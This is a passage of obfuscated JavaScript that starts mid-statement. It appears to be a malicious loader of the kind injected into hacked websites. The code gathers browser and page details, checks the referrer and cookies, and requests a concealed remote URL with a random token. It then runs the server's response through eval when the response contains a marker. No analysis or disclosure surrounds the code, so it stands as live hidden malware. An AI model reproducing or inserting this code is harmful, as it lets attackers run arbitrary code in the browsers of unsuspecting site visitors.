Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};